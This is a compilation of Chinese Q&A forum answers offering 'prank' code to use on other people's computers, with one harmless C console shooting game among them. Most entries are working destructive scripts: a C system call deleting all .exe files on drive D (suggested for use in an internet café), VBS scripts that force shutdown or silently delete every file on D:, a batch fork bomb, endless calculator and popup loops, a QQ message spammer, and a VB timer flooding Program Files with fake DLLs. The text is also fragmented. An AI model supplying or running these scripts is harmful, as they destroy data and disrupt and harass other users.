qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF

求一些恶搞程序的C语言源代码

去学学system函数，举个例子给你：
#include

#include

int main()

{

system("del d:\\*exe");

return 0;

}

这个可以把你d盘全部exe程序文件删除，可以去网吧试试

欢迎采纳

一个打飞机的游戏，DEVc++编译通过：

#include

#include

#include

#include

#include

#define zlx 10 //增量坐标(x)让游戏框不靠边

#define zly 3 //增量坐标(y)让游戏框不靠边

#define W 26 //游戏框的宽度

#define H 24 //游戏框的高度

int jiem[22][22]={0}, wj=10; //界面数组, 我机位置(初值为10)

int speed=4,density=30, score=0,death=0; //敌机速度, 敌机密度, 玩家成绩,死亡次数

int m=0,n=0; // m,n是控制敌机的变量

void gtxy (int x, int y) //控制光标位置的函数

{ COORD zb; //zb代指坐标

zb.X = x; zb.Y = y;

SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );

}

void Color(int a) //设定颜色的函数(a应为1-15)

{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }

void yinc(int x=1,int y=0) //隐藏光标的函数

{ CONSOLE_CURSOR_INFO gb={x,y}; //gb代指光标, y设为0即隐藏

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);

}

void csh( ) //初始化函数

{ int i;

Color(7);

gtxy(zlx,zly); printf("╔"); gtxy(zlx+W-2,zly); printf("╗"); //左上角和右上角的框角

gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下边两框角

for(i=2;i
<w-2;i+=2) {gtxy(zlx+i,zly); printf("═"); } 打印上横框
for(i=2;i
<w-2;i+=2) {gtxy(zlx+i,zly+h-1); printf("═"); } 打印下横框
for(i=1;i
<h-1;i++) { gtxy(zlx,zly+i); printf("║"); } 打印左竖框
for(i=1;i
<h-1;i++) {gtxy(zlx+w-2,zly+i); printf("║"); } 打印右竖框
Color(14); gtxy(19,2); printf("歼灭敌机"); Color(10);

gtxy(37,5); printf("设置：Esc ");

gtxy(37,7); printf("发射：↑ ");

gtxy(37,9); printf("控制：← → ");

gtxy(37,11);printf("得分：%d",score);

gtxy(37,13); printf("死亡：%d",death);

yinc(1,0);

}

void qcjm( ) //清除界面函数

{ int i,j;

for(i=0;i
<h-2;i++)
for(j=0;j
<w-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}
}

void feiji( ) //飞机移动函数

{ int i,j;

for(i=21;i>=0;i--) //从底行往上是为了避免敌机直接冲出数组

for(j=0;j<22;j++)

{if(i==21&&jiem[i][j]==3) jiem[i][j]=0; //底行赋值0 以免越界

if(jiem[i][j]==3) jiem[i][j]=0, jiem[i+1][j]=3;

}

if(jiem[20][wj]==3&&jiem[21][wj]==1) death++;

}

void zidan( ) //子弹移动函数

{ int i,j;

for(i=0;i<22;i++)

for(j=0;j<22;j++)

{ if(i==0&&jiem[i][j]==2) jiem[i][j]=0;

if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score+=100,printf("\7");

jiem[i][j]=0,jiem[i-1][j]=2; }

}

}

void print( ) //输出界面函数

{int i,j;

qcjm( );

for(i=0;i<22;i++)

for(j=0;j<22;j++)

{ gtxy(12+j,4+i);

if(jiem[i][j]==3) {Color(13);printf("□");}

if(jiem[i][j]==2) {Color(10);printf(".");}

if(jiem[i][j]==1) {Color(10);printf("■");}

}

gtxy(37,11); Color(10); printf("得分：%d",score);

gtxy(37,13); printf("死亡：%d",death);

}

void setting( ) //游戏设置函数

{ qcjm( );

gtxy(12,4);printf("选择敌机速度:");

gtxy(12,5);printf(" 1.快 2.中 3.慢>>");

switch(getche( ))

{case '1': speed=2; break;

case '2': speed=4; break;

case '3': speed=5; break;

default: gtxy(12,6);printf(" 错误！默认值");

}

gtxy(12,7);printf("选择敌机密度:");

gtxy(12,8);printf(" 1.大 2.中 3.小>>");

switch(getche( ))

{case '1': density=20; break;

case '2': density=30; break;

case '3': density=40; break;

default: gtxy(12,9); printf(" 错误！默认值");

}

for(int i=0;i<22;i++)

for(int j=0;j<22;j++) jiem[i][j]=0;

jiem[21][wj=10]=1; jiem[0][5]=3;

gtxy(12,10); printf(" 按任意键保存...");

getch( );

qcjm( );

}

void run( ) //游戏运行函数

{ jiem[21][wj]=1; //值为1代表我机(2则为子弹)

jiem[0][5]=3; //值为3代表敌机

SetConsoleTitle("歼灭敌机"); //设置窗口标题

while(1)

{ if (kbhit( )) //如有键按下，控制我机左右移动、发射或进行设定

{ int key;

if((key=getch( ))==224) key=getch( );

switch(key)

{case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1; break;

case 77: if(wj<20) jiem[21][wj]=0,jiem[21][++wj]=1; break;

case 72: jiem[20][wj]=2; break;

case 27: setting( );

}

}

if(++n%density==0) //控制产生敌机的速度

{ n=0;srand((unsigned)time(NULL));

jiem[0][rand( )%20+1]=3;

}

if(++m%speed==0) { feiji( ); m=0; } //控制敌机移动速度(相对子弹而言)

zidan( ); //子弹移动

print( ); //输出界面

Sleep(120); //延时120毫秒

}

}

int main( )

{ csh( );

run( );

return 0;

}

</h-2;i++)

恶搞程序代码

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
加分哦

收集一些搞笑程序代码

如果你感到无聊，看看下面的吧。整人的东东… 如果你想恶搞别人一下,在记事本中输入如下内容： @echo off start cmd.exe %0 2 . @echo off :a rundll32 desk.cpl, DisplayTestSettingsW goto a 运行后会黑屏！ 3.shutdown -s -t 60 60秒倒计时关机！ 4.%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0 系统崩溃！ 5.下面的另存为a.bat @echo off Start a.bat dir c: /s /a
求采纳

我要QQ聊天的恶搞代码

首先你在要建一个文本文档（在桌面点右键
--
新建
--
文本文档）把下面的你想要的代码复制
到文本文档
好
保存

把名字
txt
改成
vbs
就
OK

vbs
整人代码大集合
一、
你打开好友的聊天对话框
,
然后记下在你
QQ
里好友的昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送
QQ
信息到好友的次数
(
代码里的数字
10
改一下即可
).
xx.vbs=>
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("
与
xx
聊天中
")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
QQ
骚扰信息
,
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------
do

msgbox "You are foolish!"
loop
----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
三、打开无数个计算器，直到死机

------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
五、删除
D:\
所有文件

---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
六、不断弹出窗口

----------------------------------------------------------------------------
while(1)
msgbox "
哈哈
你被耍了！
"
loop
----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
七、不断按下
alt+f4
（开什么都关闭??）

---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
八、按
500
次回车
(
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
，
500
可以随意更改
)
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "
哥们，给我按
500
次回车吧
",64
loop
'------------------------ ------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo("
嘿，谢谢你打开我哦，我等你很久
拉！
"&TSName)
WScript.Echo("
你是可爱的小朋吗
?")
WScript.Echo("
哈
,
我想你拉，这你都不知道吗？
")

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
[color=#FF0000]
复制以这个代码，在桌面建一个文本，把代码放进去，另存为
VBS
格式，
此代码的威力：
1
：开机就强制自动关机
2
：
cmd
命令打不开
3
：结束任务不管用
4
：
F8
安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第
2
次保存的那个
VBE
文件，
，

PS
：不要乱拿软件去整人，发生什么事可不要怪我啊。
。
拍拍手
顶起吧！

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

恐怖啊

整人

小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'
声明变量，其中“
count
”为静态变量，以便生成不同的文件

Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'
定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"
'
生成文件的内容

nr = "
哈哈，被黑的感觉的不错吧
"
files = FreeFile
'
如果
a
等于
a
那么就执行

If a = a Then
'count
不断的加
1
，以便产生不同的文件名

count = count + 1
'
产生文件名及文件句柄，并用
count
作为产生不同的文件名。

Open c & "system" & count & ".dll" For Append As #files
'
向文件写内容

Write #files, nr
'
清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示

Close #files
End If
End Sub